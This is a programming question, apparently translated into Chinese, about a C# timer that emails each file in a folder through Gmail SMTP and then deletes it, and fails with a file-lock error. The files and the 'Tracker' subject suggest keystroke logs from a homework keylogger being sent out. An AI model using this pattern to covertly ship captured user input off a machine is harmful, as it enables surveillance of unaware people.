我必须在计时器正文中发送电子邮件,在 c# 应用程序中,计时器间隔为 2 秒
try
{
string[] filePaths = Directory.GetFiles(@"D:\ISS_Homewrok\");
foreach (string filePath in filePaths)
{
SendEmail(filePath);
File.Delete(filePath);
}
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
}
删除文件时抛出此异常
System.IO.IOException: The process cannot access the file 'D:\ISS_Homewrok\KeyBoardMovements1.txt' because it is being used by another process.
at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
at System.IO.File.Delete(String path)
at ISS_Homework.Form1.timer_tick(Object sender, ElapsedEventArgs e)
SendEmail 方法是:
private void SendEmail(string p)
{
SmtpClient smtp;
//Detailed Method
MailAddress mailfrom = new MailAddress("samahnizam@gmail.com");
MailAddress mailto = new MailAddress("rubaabuoturab@gmail.com");
MailMessage newmsg = new MailMessage(mailfrom, mailto);
newmsg.Subject = "Tracker";
//For File Attachment, more file can also be attached
try
{
Attachment att = new Attachment(p);
newmsg.Attachments.Add(att);
smtp = new SmtpClient("smtp.gmail.com", 587);
smtp.UseDefaultCredentials = false;
smtp.Credentials = new NetworkCredential("XXXXX", "XXXXX");
smtp.EnableSsl = true;
smtp.Send(newmsg);
}
catch (Exception ex)
{
}
}
编辑: 我已经将计时器间隔设置为 1 分钟,但仍在抛出异常!请提供任何帮助。